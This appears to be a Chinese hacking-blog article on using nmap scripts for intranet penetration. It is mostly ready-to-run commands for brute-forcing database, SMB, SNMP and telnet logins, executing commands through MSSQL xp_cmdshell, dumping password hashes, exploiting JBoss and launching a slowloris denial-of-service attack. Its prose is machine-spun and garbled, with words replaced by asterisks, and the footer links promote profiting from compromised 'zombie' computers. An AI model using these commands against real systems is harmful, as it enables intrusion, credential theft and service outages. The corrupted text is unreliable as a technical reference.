文中关键解读nmap的诸多脚本 *** 的应用

hacker4年前黑客文章718

文中关键解读nmap的诸多脚本 *** 的应用,在内网渗透的情况下特别是在功能强大。

 

Nmap好多个小实例:

nmap -T4 -A -v 192.168.10.100

nmap -A -v www.baidu.com/24

nmap -p22 192.168.53.1 -sV

nmap -p1-65535 192.16.53.1 -sV

nmap -p5000-6000 192.16.53.1 -sV

nmap -sV -O -T4 192.168.1.107

 

Nmap出示的命令行参数以下:

-sC: 等额的于–script=default,应用默认设置类型的脚本 *** 开展扫描仪 可拆换别的类型

–script=<Lua scripts>: <Lua scripts>应用某一或某种脚本 *** 开展扫描仪,适用使用通配符叙述

–script-args=<n1=v1,[n2=v2,...]>: 为脚本 *** 出示默认设置主要参数

–script-args-file=filename:应用文档来为脚本 *** 出示主要参数

–script-trace:显示信息脚本 *** 实行全过程中推送与接受的数据信息

–script-updatedb:升级脚本 *** 数据库查询

–script-help=<scripts>:显示信息脚本 *** 的协助信息内容,在其中<scripts>一部分能够分号隔开的文档或脚本 *** 类型

 

一、nmap按脚本 *** 归类扫描仪

nmap脚本 *** 关键分成下列几种,在扫描仪时可依据必须设定--script=类型这类 *** 开展较为含糊的扫描仪:

auth:承担解决身份验证资格证书(避开身份验证)的脚本 ***

broadcast:在局域 *** 内探察大量服务项目打开情况,如dhcp/dns/sqlserver等服务项目

brute:出示暴力破解密码 *** ,对于普遍的运用如http/snmp等

default:应用-sC或-A选择项扫描仪情况下默认设置的脚本 *** ,出示基础脚本 *** 扫描仪工作能力

discovery:对互联网开展大量的信息内容,如 *** B枚举类型、SNMP查寻等

dos:用以开展拒绝服务攻击进攻

exploit:运用己知的系统漏洞侵入系统软件

external:运用第三方的数据库查询或資源,比如开展whois分析

fuzzer:模糊不清检测的脚本 *** ,推送出现异常的包到总体目标机,检测出潜在性系统漏洞 intrusive: 侵入性的脚本 *** ,该类脚本 *** 将会引起另一方的IDS/IPS的纪录或屏蔽掉

malware:检测总体目标机是不是感染了病毒感染、打开了侧门等信息内容

safe:该类与intrusive反过来,归属于安全系数脚本 ***

version:承担提高服务项目与版本号扫描仪(Version Detection)作用的脚本 ***

vuln:承担查验总体目标机是不是有普遍的系统漏洞(Vulnerability),如是不是有MS08_067

 

1、承担解决身份验证资格证书(避开身份验证)的脚本 *** ,还可以做为检验一部分运用弱口令

nmap --script=auth 192.168.137.*

nmap承担解决身份验证资格证书(避开身份验证)的脚本制作

nmap承担解决身份验证资格证书(避开身份验证)的脚本制作

 

2、出示暴力破解密码的 *** ,可对数据库查询, *** b,snmp等开展简易登陆密码的暴力行为猜解

nmap -sS --script=brute 192.168.137.*

nmap暴力破解密码

 

3、默认设置的脚本 *** 扫描仪,主要是收集各种各样业务系统的信息内容,搜集到后,可再对于实际服务项目开展进攻

nmap --script=default 192.168.137.* 或是 nmap -sC 192.168.137.*

nmap默认设置的脚本制作扫描仪

nmap默认设置的脚本制作扫描仪

 

4、查验是不是存有普遍系统漏洞

nmap --script=vuln
 192.168.137.*

nmap查验是不是存有普遍系统漏洞

nmap查验是不是存有普遍系统漏洞

nmap查验是不是存有普遍系统漏洞

 

5、在局域 *** 内探察大量服务项目打开情况

nmap -n -p445 --script=broadcast 192.168.137.4

nmap在局域网络内探察大量服务项目打开情况

 

6、运用第三方的数据库查询或資源,比如开展whois分析

nmap --script external 202.103.243.110 

nmap开展whois分析

 

二、nmap按业务系统扫描仪

 

1、vnc扫描仪:

 

查验vnc bypass

nmap  --script=realvnc-auth-bypass 192.168.137.4  

nmap vnc扫描仪: 查验vnc bypass

 

查验vnc验证 ***

nmap --script=vnc-auth 192.168.137.4

 

获得vnc信息内容

nmap --script=vnc-info 192.168.137.4

 

2、 *** b扫描仪:

 

*** b破译

nmap --script= *** b-brute.nse 192.168.137.4

 

*** b词典破译

nmap --script= *** b-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4

smb词典破译

 

*** b己知好多个比较严重漏

nmap  --script= *** b-check-vulns.nse --script-args=unsafe=1 192.168.137.4

nmap smb己知好多个比较严重漏

 

查询共享资源文件目录

nmap -p 445 --script  *** b-ls --script-args 'share=e$,path=\, *** buser=test, *** bpass=test' 192.168.137.4

 

查寻服务器一些比较敏感信息内容(注:必须免费下载nmap_service)

nmap -p 445 -n –script= *** b-psexec --script-args=  *** buser=test, *** bpass=test 192.168.137.4

nmap_service查寻服务器一些比较敏感信息内容

 

查询对话

nmap -n -p445 --script= *** b-enum-sessions.nse --script-args= *** buser=test, *** bpass=test 192.168.137.4

 

系统信息

nmap -n -p445 --script= *** b-os-discovery.nse --script-args= *** buser=test, *** bpass=test 192.168.137.4

 

3、Mssql扫描仪

 

猜解mssql登录名和登陆密码

nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4

 

xp_cmdshell 运行命令

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4

nmap xp_cmdshell 运行命令

 

dumphash值

nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4

nmap dumphash值

 

4、Mysql扫描仪:

 

扫描仪root空动态口令

nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4

nmap扫描仪root空动态口令

 

列举全部mysql客户

nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4

 

适用同一运用的全部脚本 *** 扫描仪

nmap --script=mysql-* 192.168.137.4

nmap适用同一运用的全部脚本制作扫描仪

 

5、Oracle扫描仪:

 

oracle sid扫描仪

nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5

nmap oracle sid扫描仪

 

oracle弱口令破译

nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5

nmap oracle弱口令破译

 

6、别的一些较为功能强大的脚本 ***

nmap --script=broadcast-netbios-master-browser 192.168.137.4 发觉网关ip

nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破译rsync

nmap --script informix-brute -p 9088 192.168.137.4 informix数据库查询破译

nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破译

nmap -sU --script snmp-brute 192.168.137.4 snmp破译

nmap -sV --script=telnet-brute 192.168.137.4 telnet破译

nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' <target> jboss autopwn

nmap --script=http-methods.nse 192.168.137.4 查验http方式

nmap --script http-slowloris --max-paralleli ***  400 192.168.137.4 dos攻击,针对解决工作能力较小的网站还好用的 'half-HTTP' connections

nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4

 

7、不可靠的脚本 *** :

vnc-brute 频次多了会严禁联接

pcanywhere-brute 跟上面一样

nmap 不可靠的脚本制作

 

三、学好nmap脚本 *** 剖析

nmap中脚本 *** 并不会太难看懂,因此在应用时假如不清楚基本原理能够直接看运用脚本 *** 就可以,还可以改动在其中的一些主要参数便捷自身应用。

 

举例说明:有关oracle的弱口令破译:

启用全过程:oracle-brute.nse >> oracle-default-accounts.lst

 

1、更先是启用破译脚本 *** :

nmap oracle的弱口令破译

 

2、依据脚本 *** 中词典的部位去查询默认设置词典,自然还可以将破译的标识符填加在其中,或是是改动脚本 *** 或主要参数更改破解字典:nmap更改破解字典

 

附:Nmap在实战演练中的高級使用 ***

标签: 黑客技术

相关文章

电脑肉鸡的商业价值_怎样看待电脑肉鸡的价值

电脑肉鸡的商业价值,我们应该怎样看待电脑肉鸡的价值,一起来看看下面的内容吧。 1.盗窃“肉鸡”电脑的虚拟财产 虚拟财产有:网络游戏ID帐号装备、QQ号里的Q币、联众的虚拟荣誉值等等。虚...

黑客业务:看完了这些黑客技术,原来黑客的世界里如此丰富

黑客业务:看完了这些黑客技术,原来黑客的世界里如此丰富

1.肉鸡:所谓“肉鸡”是一种很形象的比方,比方那些能够随意被我们操控的电脑,对方可所以WINDOWS体系,也可所以UNIX/LINUX体系,可所以一般的个人电脑,也可所以大型的服务器,我们能够象操作自...

PHP后门新玩法:一款猥琐的PHP后门分析

PHP后门新玩法:一款猥琐的PHP后门分析

作者: GENXOR   [转载请注明出处自  :  360网站卫士博客-blog.wangzhan.360.cn] 0x00 背景...

WinDbg可用以调节核心方式运行内存转储

WinDbg可用以调节核心方式运行内存转储

什么叫WinDbg? WinDbg,像OllyDbg,是由Microsoft派发的Microsoft Windows多功能程序调试。该黑客工具可用以调节客户方式程序运行,驱动软件和电脑操作系统自身,...

Splunk是不是适用全部电脑操作系统?

Splunk是不是适用全部电脑操作系统?

什么叫Splunk? Splunk捕捉,数据库索引,随后关系可检索的储存库文件的数据信息,从这当中能够 转化成汇报,图型,报警,数据可视化和汽车仪表板。被觉得是最好是的安全工器具之一,这个东西的纯碎...

Hping的典型性主要用途是啥?

Hping的典型性主要用途是啥?

什么叫Hping? Hping是网站渗透测试工作人员和IT安全性质量监督员应用的火爆的数据文件解决专用工具。Hping实质上是一个朝向cmd的TCP / IP数据文件汇编器和解析器。该专用工具适用各...